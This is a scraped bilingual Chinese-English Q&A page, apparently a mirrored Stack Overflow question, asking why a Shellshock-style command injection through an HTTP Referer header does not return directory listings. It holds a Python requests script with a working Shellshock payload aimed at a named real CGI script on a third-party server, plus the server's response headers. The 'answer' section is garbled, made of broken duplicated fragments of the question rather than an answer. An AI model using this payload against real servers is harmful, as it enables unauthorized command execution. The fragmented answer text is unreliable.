如何使用python从http头执行服务器中的bash命令? [英] How can execute bash command in server from http header using python?
本文介绍了如何使用python从http头执行服务器中的bash命令?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
我在python中有以下脚本
i have following script in python
headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)
和
r.headers
是
and
r.headers
is
{
'x-rdir': '""', 'x-vps': 'yes',
'transfer-encoding': 'chunked',
'server': 'Apache/1.3.29',
'connection': 'close',
'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
'ls_result': '()',
'content-type': 'text/html'
}
当我在标题中传递y =(ls)时。我得到'ls_result':'(ls)'在响应标题中。为什么从我的输入中剥离?如何在响应头中列出目录? PS:这是出于教育目的
when i passing y="(ls)" in header. i am getting 'ls_result': '(ls)' in response header. why $ stripping from my input? how can list directory in response header ? PS: this is for educational purpose
推荐答案
ls) ; echo'ls_result:'
ls)";echo 'ls_result: '
y; }
r =请求。 get ( http://manticore.2y.net/cgi-bin/dlwct.sh,headers = headers)
y; """} r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)
和
r.headers
是
and
r.headers
is
{
'x-rdir': '""', 'x-vps': 'yes',
'transfer-encoding': 'chunked',
'server': 'Apache/1.3.29',
'connection': 'close',
'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
'ls_result': '()',
'content-type': 'text/html'
}
当我通过y =(ls)时
在标题中。我得到'ls_result':'(ls)'在响应标题中。为什么
when i passing y="(ls)" in header. i am getting 'ls_result': '(ls)' in response header. why
从我的输入中删除?如何在响应头中列出目录? PS:这是出于教育目的
stripping from my input? how can list directory in response header ? PS: this is for educational purpose
这篇关于如何使用python从http头执行服务器中的bash命令?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!
查看全文